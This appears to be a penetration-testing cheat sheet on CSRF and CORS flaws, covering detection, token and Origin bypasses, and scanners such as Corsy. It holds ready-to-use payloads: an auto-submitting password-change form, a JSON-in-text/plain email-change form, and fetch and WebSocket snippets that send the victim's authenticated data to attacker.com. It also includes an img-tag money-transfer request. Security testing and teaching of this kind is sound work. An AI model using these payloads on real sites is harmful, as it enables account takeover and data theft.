WEB09 CSRF & CORS
Sections WEB09 CSRF & CORS
Two related bugs around cross-origin requests. CSRF lets attacker pages make state-changing requests as the victim. CORS misconfigs let attacker pages read sensitive responses cross-origin.
T=https://target.com
i. Where it lives
CSRF surfaces:
- Any state-changing endpoint (POST, PUT, DELETE, PATCH)
- Password / email change forms
- Funds transfer / payment
- Admin actions
- “Add to cart” / “place order”
- Account deletion
- API key generation
CORS surfaces:
- Any endpoint that returns sensitive data (
/api/me,/api/users/123) - Endpoints accessed by SPAs (often have
Access-Control-Allow-Origin) - Internal admin APIs that don’t expect cross-origin access
ii. CSRF detection
Check what the app uses to protect the endpoint:
- Token in form - hidden input like
<input name="csrf_token" value="abc123"> - Token in header - custom header like
X-CSRF-TokenorX-Requested-With: XMLHttpRequest - SameSite cookie attribute -
Set-Cookie: ...; SameSite=Lax|Strict - Origin / Referer checking - server reads
Origin:orReferer:header - Nothing - endpoint accepts request with just session cookie
Quick removal test: drop the CSRF protection and resend the request.
## Original request with token, copy from Burp
## Remove the CSRF parameter / header, resend
## Same success response = vulnerable
Cookie attribute check:
curl -sIv "$T/login" 2>&1 | grep -i set-cookie
## Look at SameSite:
## - SameSite=Strict → fully blocks CSRF
## - SameSite=Lax → blocks POST CSRF but allows top-level GET nav
## - SameSite=None → no protection (requires Secure)
## - SameSite missing → modern browsers default to Lax-like behavior
Lax allows GET CSRF via top-level navigation (window.location, anchor click). Any state-changing GET endpoint is still vulnerable. Anything POST → blocked. POST with <form method=GET> redirected to a real POST endpoint can also slip through some configs.
iii. CSRF PoC generator
Burp has it built in (right-click request → Engagement Tools → Generate CSRF PoC). Generates an HTML page that auto-submits a form.
For JSON endpoints (POST with Content-Type: application/json), <form> can’t normally submit JSON. Bypass via content-type tricks (see section v).
Manual PoC template:
<html>
<body onload="document.f.submit()">
<form id="f" action="https://target.com/change-password" method="POST">
<input name="new_password" value="pwned123">
<input name="confirm" value="pwned123">
</form>
</body>
</html>
Host it anywhere the victim will visit while logged in. Submit fires automatically.
iv. CSRF token bypasses
Token not validated
Drop it, resend. If the response is still success → no validation.
Token validation bypasses
- Use a different user’s token (any valid token works) → token not tied to session
- Use an empty token → no validation when blank
- Remove the parameter entirely → server only checks if present, not value
- Change request method (POST → GET) → token only checked on POST
Token tied to session weakly
- Submit your own session’s CSRF token in the victim’s request → may work if token is global, not per-session
Stored CSRF (no token needed at all)
- Endpoint accepts only cookies, no token at all
- Server expects token via certain header but doesn’t reject when missing
Referer / Origin bypasses
When server checks Referer:
- Strip Referer header entirely (some servers allow blank Referer)
- Use
<meta name="referrer" content="no-referrer">in PoC - Use HTTPS → HTTP downgrade to strip Referer (legacy)
When server checks Origin via prefix/suffix match:
Origin: https://target.com.attacker.com(suffix attack)Origin: https://attacker.com/target.com(URL with path)
v. CSRF on JSON endpoints
Default browser CSRF requires <form>, which can only send application/x-www-form-urlencoded, multipart/form-data, or text/plain. JSON endpoints often skip CSRF protection assuming browsers can’t reach them.
But many JSON endpoints accept text/plain body that happens to be JSON:
<form action="https://target.com/api/change-email" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","x":"' value='"}'>
</form>
The form sends body: {"email":"attacker@evil.com","x":"="} with Content-Type: text/plain. Many JSON parsers accept it.
XHR/fetch with Content-Type: application/json is normally blocked by CORS preflight unless the server allows it - see CORS section.
File upload CSRF
Multipart forms can upload files cross-origin. If file upload endpoint trusts cookies only, CSRF can upload arbitrary files as the victim.
vi. CORS misconfigurations
CORS controls which origins can read responses. Misconfigs let attacker origins read sensitive data.
Common misconfig types
Wildcard ACAO:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Less dangerous because cookies aren’t sent. But still bad if endpoint contains sensitive info bound to IP / token in header.
Wildcard ACAO with credentials (browsers should reject this combo, but server should never send it):
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Reflected ACAO (the dangerous one):
## Request: Origin: https://attacker.com
## Response: Access-Control-Allow-Origin: https://attacker.com
## Access-Control-Allow-Credentials: true
Server echoes any origin it receives. Attacker page reads the victim’s authenticated response.
Null origin allowed:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Sandboxed iframes and data: URLs send Origin: null. Attackers can host a page that sends null and reads the response.
Subdomain trust:
Access-Control-Allow-Origin: https://*.target.com
## Or via regex / prefix matching
If any subdomain is compromisable (subdomain takeover, XSS on a subdomain), CORS trust extends.
Prefix/suffix matching bugs:
## Server: allows any origin starting with target.com
Origin: https://target.com.attacker.com → allowed
## Server: allows any origin ending with .target.com
Origin: https://attacker-target.com → allowed
vii. CORS scanners
Corsy (Python):
python3 corsy.py -u "$T/api/me"
python3 corsy.py -i urls.txt
CORStest:
python3 corstest.py "$T/api/me"
python3 corstest.py -i urls.txt
Both probe common misconfigs (wildcard, null, reflected, prefix, suffix) and report findings.
Burp Pro’s scanner catches most of these automatically.
viii. CORS exploitation PoC
Once you find an exploitable CORS misconfig:
<html>
<script>
fetch("https://target.com/api/me", { credentials: "include" })
.then(r => r.text())
.then(d => fetch("https://attacker.com/log?d=" + encodeURIComponent(d)));
</script>
</html>
Host on attacker.com, get the victim to visit. The victim’s browser makes the request with cookies, gets the response, attacker reads it cross-origin (because of the misconfig), exfils.
ix. CSWSH (Cross-Site WebSocket Hijacking)
When the app uses WebSockets and trusts the origin only via the initial Connection upgrade request, attacker pages can open authenticated WebSockets:
var ws = new WebSocket("wss://target.com/api/ws");
ws.onmessage = (m) => fetch("https://attacker.com/?d=" + encodeURIComponent(m.data));
ws.send('{"action":"get_data"}');
Same diagnosis as CORS - check if the WebSocket handshake validates Origin: header. If not, vulnerable.
x. Tricks worth knowing
Logout CSRF
Logout endpoint that doesn’t require CSRF protection isn’t exploitable on its own. But chained: log victim out, log them back in as YOUR account, they store data in your account that you later access.
Login CSRF
Same idea: force victim to log into attacker’s account. They use the app thinking it’s theirs, leave data you can later access. Real attacks: storing browsing history, OAuth account linking, payment info.
CSRF via <img> tag for GET endpoints
If state changes happen on GET (bad practice but common):
<img src="https://target.com/transfer?amount=1000&to=attacker">
Fires when the victim visits the attacker page. No JS needed.
CSRF token leak via referer
If the CSRF token is in the URL (?csrf_token=abc) and the page contains an external link, the token leaks in the Referer header to that external site.
Race condition with CSRF
Some apps tie CSRF tokens to user state (“token only valid before action”). A race between fetching the token and submitting the action can bypass timing-based checks.
Cookie scoping for subdomain abuse
Cookie set with Domain=.target.com is sent to all subdomains. If admin.target.com has CSRF and you control dev.target.com (subdomain takeover or XSS), you can craft requests with the admin’s cookies.
CORS pre-flight bypass via simple requests
Pre-flight only fires for non-simple requests. Simple requests (GET/POST with form-encoded or text/plain body, no custom headers) don’t trigger preflight. So:
- Even when ACAO is restrictive, the request still fires (just the response isn’t readable)
- For pure CSRF (don’t need to read response), preflight bypass doesn’t matter
xi. References
- PortSwigger - CSRF
- PortSwigger - CORS
- PayloadsAllTheThings - CSRF
- PayloadsAllTheThings - CORS
- HackTricks - CSRF
- HackTricks - CORS
- James Kettle - Exploiting CORS
xii. Where it leads
CSRF outcomes:
- Account takeover via email / password change
- Admin actions performed as victim admin
- Privilege escalation when admin endpoints lack CSRF protection
- Data exfil when the attacker can also read the response (combined with XSS or CORS)
CORS outcomes:
- Read user’s private data (
/api/me, profile, financial) - Steal session tokens / API keys returned in JSON responses
- Internal app reconnaissance via cross-origin XHR
- CSWSH gives full bidirectional WebSocket hijack
Both pair powerfully with WEB08 XSS - XSS bypasses CSRF protections entirely (same-origin), and XSS + reflected ACAO lets the attacker page read responses too.